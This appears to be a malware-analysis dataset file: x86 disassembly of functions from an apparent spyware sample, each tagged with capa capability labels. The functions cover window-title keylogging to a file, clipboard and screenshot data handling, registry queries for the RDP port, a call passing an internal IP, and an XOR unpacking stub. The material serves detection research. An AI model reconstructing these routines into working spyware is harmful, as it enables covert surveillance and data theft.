joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c128
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
push dword [ebp + 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1000c15a
cmp esi, ebx
je 0x1000c156
mov byte [esi], bl
xor al, al
jmp 0x1000c18a
cmp esi, ebx
je 0x1000c161
mov byte [esi], 1
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 8], ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
sete al
pop esi
pop ebx
leave
ret

Function at 0x1000c18e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor ecx, ecx
push 2
mov eax, 0xca
pop edx
mov dword [ebp - 8], eax
mul edx
seto cl
neg ecx
or ecx, eax
mov edi, ecx
push edi
call fcn.10019ca9
mov esi, eax
pop ecx
test esi, esi
je 0x1000c1c9
push edi
push 0
push esi
call fcn.100207d0
add esp, 0xc
jmp 0x1000c1cb
xor esi, esi
mov dword [ebp - 0xc], 1
call fcn.1000a1bf
test al, al
lea eax, [ebp - 4]
push eax
je 0x1000c1e6
push 0x20119
jmp 0x1000c1eb
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push 0
push str.ProductName
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000c236
test edi, edi
jne 0x1000c236
push esi
push dword [ebp + 8]
call fcn.1000cc63
push 0x1003d614
push dword [ebp + 8]
call fcn.1000cc63
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
leave
ret

Function at 0x1000c2b5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000c369
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.PortNumber
push dword [ebp - 4]
mov dword [ebp - 8], 0xff
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000c360
push esi
push 0x40
call fcn.10019ca9
mov esi, eax
pop ecx
test esi, esi
je 0x1000c32a
push 0x40
push 0
push esi
call fcn.100207d0
add esp, 0xc
jmp 0x1000c32c
xor esi, esi
push dword [ebp - 0x10]
push 0x1003d510
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push esi
push dword [ebp + 8]
call fcn.1000cc63
push 0x1003d614
push dword [ebp + 8]
call fcn.1000cc63
test esi, esi
je 0x1000c35f
push esi
call fcn.1001d3d4
pop ecx
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x1000c8cf
Capabilities:
Identify system language via api

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
sub eax, 0x404
je 0x1000c932
sub eax, 5
je 0x1000c92b
mov ecx, 0x3fb
sub eax, ecx
je 0x1000c924
sub eax, 5
je 0x1000c91d
sub eax, ecx
je 0x1000c916
add ecx, 5
sub eax, ecx
je 0x1000c90f
sub eax, ecx
je 0x1000c908
push 0x1003e05c
jmp 0x1000c937
push 0x1003e034
jmp 0x1000c937
push 0x1003e028
jmp 0x1000c937
push 0x1003e018
jmp 0x1000c937
push 0x1003e044
jmp 0x1000c937
push 0x1003e00c
jmp 0x1000c937
push 0x1003e050
jmp 0x1000c937
push 0x1003e000
push esi
call fcn.1000cc63
push 0x1003d614
push esi
call fcn.1000cc63
ret
Function at 0x1000e596
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1004cb68]
push esi
push edi
xor edi, edi
cmp eax, edi
je 0x1000e5b0
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1004d404]
cmp dword [eax - 4], 1
jle 0x1000e5cd
push dword [eax - 0xc]
push 0x1004d404
call fcn.10001706
mov eax, dword [0x1004d404]
push edi
push 2
push 4
push edi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000e618
push 2
push edi
push edi
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1004cb68]
cmp eax, edi
pop edi
pop esi
je 0x1000e62a
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
leave
ret

Function at 0x1000e62c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [0x10045390]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x800
push edi
push 0
mov esi, 0x1004cb78
push esi
call fcn.100207d0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push edi
push esi
push eax
mov dword [0x1004d378], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
and dword [ebp - 0x818], 0
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x804], ax
lea eax, [ebp - 0x802]
push eax
call fcn.100207d0
mov eax, dword [0x1004d378]
add esp, 0xc
cmp eax, dword [0x1004cb74]
je 0x1000e728
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x1000e71e
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x808]
push eax
movzx eax, word [ebp - 0x80a]
push eax
movzx eax, word [ebp - 0x80c]
push eax
movzx eax, word [ebp - 0x80e]
push eax
movzx eax, word [ebp - 0x812]
push eax
movzx eax, word [ebp - 0x814]
push eax
push esi
lea eax, [ebp - 0x804]
push 0x1003e190
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x804]
push eax
call fcn.1000e596
push edi
push 0
push esi
call fcn.100207d0
add esp, 0x34
mov dword [ebp - 0x818], 1
mov eax, dword [0x1004d378]
mov dword [0x1004cb74], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x818]
pop edi
xor ecx, ebp
pop esi
call fcn.1001c645
leave
ret
Function at 0x1000f3cc
Capabilities:
Get common file path

Disassembly:
push 0x210
mov eax, 0x100389d3
call fcn.100206de
mov edi, edx
mov dword [edi], vtable.CManager.0
mov dword [edi + 4], ecx
mov eax, dword [ecx]
push edi
mov dword [ebp - 0x21c], edi
call dword [eax + 0x18]
xor ebx, ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 8], eax
mov dword [ebp - 4], ebx
lea esi, [edi + 0x14]
mov dword [edi], vtable.CLoginManager.0
call fcn.10001625
mov dword [edi + 0x2c], ebx
mov dword [edi + 0x30], ebx
mov dword [edi + 0x34], ebx
mov dword [edi + 0x3c], ebx
mov dword [edi + 0x40], ebx
mov dword [edi + 0x44], ebx
mov dword [edi + 0x4c], ebx
mov dword [edi + 0x50], ebx
mov dword [edi + 0x54], ebx
mov dword [edi + 0x5c], ebx
mov dword [edi + 0x60], ebx
mov dword [edi + 0x64], ebx
mov dword [edi + 0x68], ebx
mov dword [edi + 0x6c], ebx
mov dword [edi + 0x70], ebx
mov dword [edi + 0x7c], ebx
mov dword [edi + 0x80], ebx
mov dword [edi + 0x84], ebx
mov dword [edi + 0x88], ebx
mov dword [edi + 0x8c], ebx
mov dword [edi + 0x90], ebx
mov byte [ebp - 4], 5
xor eax, eax
inc eax
mov dword [edi + 0x58], eax
mov dword [edi + 0x78], eax
lea eax, [ebp - 0x218]
push eax
push ebx
push ebx
push 0x23
push ebx
mov dword [0x1004c650], edi
mov dword [edi + 0xc], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 0x98], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.A686911000006E71
lea eax, [ebp - 0x218]
push eax
push str._s_vmpath
mov eax, esi
call fcn.10001796
add esp, 0xc
push edi
call fcn.10011fa9
call fcn.10010a5b
mov eax, edi
call fcn.10020728
ret
Function at 0x10010a5b
Capabilities:
Create thread

Disassembly:
push 0x10
mov eax, 0x10038939
call fcn.10020675
xor ebx, ebx
mov dword [edi + 0x18], 1
mov dword [edi + 0x1c], ebx
mov eax, dword [0x10045344]
mov ecx, 0x10045344
mov dword [ebp - 0x10], ebx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push str.picshotdata
mov dword [ebp - 4], ebx
push str.A686911000006E71
push SysReAllocString
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
call fcn.10009f33
add esp, 0x14
cmp dword [ebp - 0x18], 4
jbe 0x10010b11
push dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
call fcn.1000cc2e
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0x18], esp
mov esi, esp
call fcn.1000d694
add eax, 0x10
push edi
mov dword [esi], eax
call fcn.10012bfa
lea esi, [edi + 0x5c]
call fcn.100037d1
mov eax, dword [edi + 0x6c]
sub eax, dword [edi + 0x68]
sar eax, 2
test eax, eax
je 0x10010b0c
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push 0x10010c93
push ebx
push ebx
call fcn.1001dafd
add esp, 0x18
mov dword [edi + 0x1c], eax
call fcn.100037f5
cmp dword [ebp - 0x14], ebx
je 0x10010b1f
push dword [ebp - 0x14]
call fcn.1001d3d4
pop ecx
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push 0x10011507
push ebx
push ebx
mov dword [ebp - 0x10], ebx
mov dword [edi + 0x20], ebx
call fcn.1001dafd
mov dword [edi + 0x20], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push str.clipboarddata
push str.A686911000006E71
push SysReAllocString
mov dword [ebp - 0x10], ebx
mov dword [edi + 0x24], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
call fcn.10009f33
add esp, 0x2c
cmp dword [ebp - 0x18], 4
jbe 0x10010bce
push dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
call fcn.1000cc2e
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0x18], esp
mov esi, esp
call fcn.1000d694
add eax, 0x10
push edi
mov dword [esi], eax
call fcn.10012cdf
lea esi, [edi + 0x7c]
call fcn.100037d1
mov eax, dword [edi + 0x8c]
sub eax, dword [edi + 0x88]
push 0xc
cdq
pop ecx
idiv ecx
test eax, eax
je 0x10010bc9
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push 0x10011636
push ebx
push ebx
call fcn.1001dafd
add esp, 0x18
mov dword [edi + 0x24], eax
call fcn.100037f5
cmp dword [ebp - 0x14], ebx
je 0x10010bdc
push dword [ebp - 0x14]
call fcn.1001d3d4
pop ecx
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push 0x10011bdb
push ebx
push ebx
mov dword [ebp - 0x10], ebx
mov dword [edi + 0x28], ebx
call fcn.1001dafd
mov dword [edi + 0x28], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push 0x10011d4c
push ebx
push ebx
mov dword [ebp - 0x10], ebx
call fcn.1001dafd
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x30
push eax
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push 0x10011e12
push ebx
push ebx
mov dword [ebp - 0x10], ebx
call fcn.1001dafd
add esp, 0x18
push eax
call esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
call fcn.1000160d
call fcn.10020714
ret
Function at 0x100123d3
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x10045390]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x7c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.100207d0
lea eax, [ebp - 0x7e]
push 0
push eax
mov byte [ebp - 0x80], 0x7c
call fcn.1000956e
lea eax, [ebp - 0x2c]
push eax
call fcn.1000962e
add esp, 0x18
push 0x19
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x2e]
push eax
call fcn.10009b0f
pop ecx
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
push 0x7c
call dword [eax + 0xc]
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
push 0x7c
lea edx, [ebp - 0x80]
push edx
call dword [eax + 0x10]
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax + 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001c645
leave
ret
Function at 0x100152eb
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, eax
mov ecx, dword [esi + 0x40]
xor al, al
push edi
mov bl, 1
cmp ecx, 0xffffffff
je 0x1001547f
mov edi, 0x10000000
cmp ecx, 0x7c
je 0x1001547f
cmp ecx, 0x29
jne 0x1001532f
cmp dword [esi + 0x10], 0
jne 0x1001547f
test dword [esi + 0x44], edi
jne 0x1001532f
push 5
call fcn.1001b44d
pop ecx
jmp 0x10015468
cmp ecx, 0x2e
jne 0x1001534b
push 5
lea eax, [esi + 0x18]
push eax
call fcn.10015564
mov eax, esi
call fcn.100152c3
jmp 0x10015468
cmp ecx, 0x5c
jne 0x100153a8
mov eax, esi
call fcn.100152c3
mov eax, dword [esi + 0x44]
and eax, 0x80
je 0x1001537e
cmp byte [esi + 0x3e], 0x62
jne 0x1001537e
push 4
lea eax, [esi + 0x18]
push eax
call fcn.10015564
mov eax, esi
call fcn.100152c3
jmp 0x1001546f
test eax, eax
je 0x1001539c
cmp byte [esi + 0x3e], 0x42
jne 0x1001539c
push 4
lea eax, [esi + 0x18]
push eax
call fcn.10015564
mov eax, dword [esi + 0x1c]
xor dword [eax + 8], 1
jmp 0x10015372
mov eax, esi
call fcn.10016122
jmp 0x10015468
cmp ecx, 0x5b
jne 0x100153d2
mov eax, esi
call fcn.100152c3
mov eax, esi
call fcn.100160d9
cmp dword [esi + 0x40], 0x5d
je 0x1001533f
push 4
call fcn.1001b44d
pop ecx
jmp 0x1001533f
cmp ecx, 0x28
jne 0x100153fc
mov eax, esi
call fcn.100152c3
call fcn.100161f4
cmp dword [esi + 0x40], 0x29
mov bl, al
je 0x100153f3
push 5
call fcn.1001b44d
pop ecx
mov eax, esi
call fcn.100152c3
jmp 0x10015464
cmp ecx, 0x5e
jne 0x10015408
push 2
jmp 0x10015369
cmp ecx, 0x24
jne 0x10015414
push 3
jmp 0x10015369
cmp ecx, 0x2a
je 0x1001545c
cmp ecx, 0x2b
je 0x1001545c
cmp ecx, 0x3f
je 0x1001545c
cmp ecx, 0x7b
je 0x1001545c
cmp ecx, 0x7d
jne 0x10015439
test dword [esi + 0x44], edi
jne 0x10015439
push 6
jmp 0x10015324
cmp ecx, 0x5d
jne 0x1001544a
test dword [esi + 0x44], edi
jne 0x1001544a
push 4
jmp 0x10015324
movzx eax, byte [esi + 0x3e]
push eax
lea eax, [esi + 0x18]
call fcn.100163d6
jmp 0x1001533f
push 0xa
call fcn.1001b44d
pop ecx
test bl, bl
je 0x1001546f
mov eax, esi
call fcn.100162ea
mov ecx, dword [esi + 0x40]
mov al, 1
mov bl, al
cmp ecx, 0xffffffff
jne 0x10015305
pop edi
pop esi
pop ebx
ret
Function at 0x10019acb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x280
push 0
push 0x10047d78
call fcn.100207d0
mov eax, dword [ebp + 0x14]
mov dword [0x10047ff0], eax
mov eax, dword [ebp + 0x18]
mov dword [0x10047ff4], eax
mov eax, dword [0x10045344]
add esp, 0xc
mov ecx, 0x10045344
call dword [eax + 0xc]
push dword [ebp + 8]
add eax, 0x10
mov dword [ebp + 0x14], eax
lea eax, [ebp + 0x14]
push eax
call fcn.10013122
mov eax, dword [ebp + 0x14]
cmp dword [eax - 4], 1
mov esi, dword [eax - 0xc]
jle 0x10019b2d
push esi
lea eax, [ebp + 0x14]
push eax
call fcn.10001706
mov eax, dword [ebp + 0x14]
lea ecx, [esi + esi]
push ecx
push eax
push 0x10047fb4
call fcn.1001ff30
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp + 0x14]
push eax
call fcn.10013122
mov eax, dword [ebp + 0x14]
cmp dword [eax - 4], 1
mov esi, dword [eax - 0xc]
jle 0x10019b64
push esi
lea eax, [ebp + 0x14]
push eax
call fcn.10001706
mov eax, dword [ebp + 0x14]
lea ecx, [esi + esi]
push ecx
push eax
mov esi, str.A686911000006E71
push esi
call fcn.1001ff30
add esp, 0xc
push dword [ebp + 0x10]
lea eax, [ebp + 0x14]
push eax
call fcn.10013122
mov edi, dword [ebp + 0x14]
cmp dword [edi - 4], 1
mov ebx, dword [edi - 0xc]
jle 0x10019b9c
push ebx
lea eax, [ebp + 0x14]
push eax
call fcn.10001706
mov edi, dword [ebp + 0x14]
lea eax, [ebx + ebx]
push eax
push edi
push str.192.168.1.115
call fcn.1001ff30
push 0x280
push 0x10047d78
push 3
push str.info
push esi
push SysReAllocString
call fcn.10009ddb
add esp, 0x24
xor esi, esi
push esi
push esi
push esi
push 0x10019893
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [ebp + 0x1c], 0
mov ebx, eax
je 0x10019bed
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp ebx, esi
je 0x10019bf8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [edi - 0x10]
pop edi
pop esi
pop ebx
pop ebp
jmp fcn.1000160d
Function at 0x1001af28
Capabilities:
Write file on windows

Disassembly:
push 0x24
mov eax, 0x1003725d
call fcn.100206de
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x1001b01f
cmp byte [esi + 0x4a], bl
je 0x1001b01f
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 0xc]
movzx eax, ax
cmp di, ax
jne 0x1001af64
xor al, al
jmp 0x1001b021
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10015704
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1001afc2
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
mov ebx, dword [ebp - 0x1c]
add eax, ebx
push eax
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x1001afc7
dec eax
je 0x1001afcb
dec eax
dec eax
je 0x1001b01b
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.1000d061
mov al, bl
jmp 0x1001b021
mov edx, dword [ebp - 0x2c]
jmp 0x1001af8d
mov byte [esi + 0x4a], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1001afd7
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
sub edi, eax
je 0x1001affd
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1001afea
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.10021b06
add esp, 0x10
cmp edi, eax
jne 0x1001afb0
cmp byte [esi + 0x4a], 0
je 0x1001b01b
test edi, edi
jne 0x1001af7f
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.10014b7f
jmp 0x1001af7f
mov bl, 1
jmp 0x1001afb2
mov al, 1
call fcn.10020728
ret
Function at 0x1001b027
Capabilities:
Write file on windows

Disassembly:
push 0x2c
mov eax, 0x1003728a
call fcn.100206de
mov edi, dword [ebp + 8]
mov eax, 0xffff
mov esi, ecx
cmp ax, di
jne 0x1001b049
xor eax, eax
jmp 0x1001b1bc
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
xor ebx, ebx
cmp ecx, ebx
je 0x1001b077
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
lea edx, [ecx + edx*2]
cmp ecx, edx
jae 0x1001b077
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 2]
mov dword [esi], ecx
mov word [eax], di
mov ax, di
jmp 0x1001b1bc
cmp dword [esi + 0x54], ebx
je 0x1001b1b7
mov ecx, esi
call fcn.1001a43a
cmp dword [esi + 0x44], ebx
jne 0x1001b0a7
push dword [esi + 0x54]
push edi
call fcn.1001a673
pop ecx
test al, al
pop ecx
movzx eax, di
jne 0x1001b1bc
jmp 0x1001b1b7
movzx eax, di
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10015704
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1001b164
lea eax, [ebp - 0x2c]
mov edx, eax
add eax, dword [ebp - 0x1c]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x34]
push ebx
push eax
push edx
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x2e]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
xor ebx, ebx
inc ebx
test eax, eax
js 0x1001b1ac
cmp eax, ebx
jg 0x1001b16c
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1001b116
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x34]
sub edi, eax
je 0x1001b13b
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1001b129
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push ebx
push eax
call fcn.10021b06
add esp, 0x10
cmp edi, eax
jne 0x1001b1ac
lea eax, [ebp - 0x30]
mov byte [esi + 0x4a], bl
cmp dword [ebp - 0x38], eax
jne 0x1001b19b
test edi, edi
jne 0x1001b0c8
cmp dword [ebp - 0x1c], 0x20
push edi
lea ecx, [ebp - 0x2c]
jae 0x1001b1b1
push 8
call fcn.10014b7f
jmp 0x1001b0c8
mov edx, dword [ebp - 0x2c]
jmp 0x1001b0da
cmp eax, 3
jne 0x1001b1ac
push dword [esi + 0x54]
push dword [ebp - 0x30]
call fcn.1001a673
movzx esi, word [ebp + 8]
pop ecx
pop ecx
test al, al
jne 0x1001b18b
mov esi, 0xffff
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.1000d061
mov ax, si
jmp 0x1001b1bc
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.1000d061
mov ax, word [ebp + 8]
jmp 0x1001b1bc
push 0
lea ecx, [ebp - 0x2c]
push ebx
call fcn.1000d061
mov eax, 0xffff
call fcn.10020728
ret 4

Function at 0x1001c645
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10045390]
jne 0x1001c64f
repz ret
jmp fcn.1002572f
Function at 0x10031d4b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10045390]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10028d51
and dword [ebp - 0x14], 0
cmp dword [0x1004c630], 0
mov dword [ebp - 0x18], eax
jne 0x10031dfe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10031ea6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10031ea6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1004c630], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1004c634], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1004c638], eax
call edi
push eax
call esi
mov dword [0x1004c640], eax
test eax, eax
je 0x10031dfe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1004c63c], eax
mov eax, dword [0x1004c63c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10031e57
cmp dword [0x1004c640], ecx
je 0x10031e57
push eax
call esi
push dword [0x1004c640]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10031e57
test ebx, ebx
je 0x10031e57
call edi
test eax, eax
je 0x10031e4e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10031e4e
test byte [ebp - 8], 1
jne 0x10031e57
or dword [ebp + 0x10], 0x200000
jmp 0x10031e8a
mov eax, dword [0x1004c634]
cmp eax, dword [ebp - 0x18]
je 0x10031e8a
push eax
call esi
test eax, eax
je 0x10031e8a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10031e8a
mov eax, dword [0x1004c638]
cmp eax, dword [ebp - 0x18]
je 0x10031e8a
push eax
call esi
test eax, eax
je 0x10031e8a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1004c630]
call esi
test eax, eax
je 0x10031ea6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10031ea8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001c645
leave
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..idata
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
nop
nop
mov ebx, 0x40915c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x205d7b18
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x431060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4310d2
nop
nop
nop
mov ebx, 0x42f3f8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1ea003d0
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4310c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219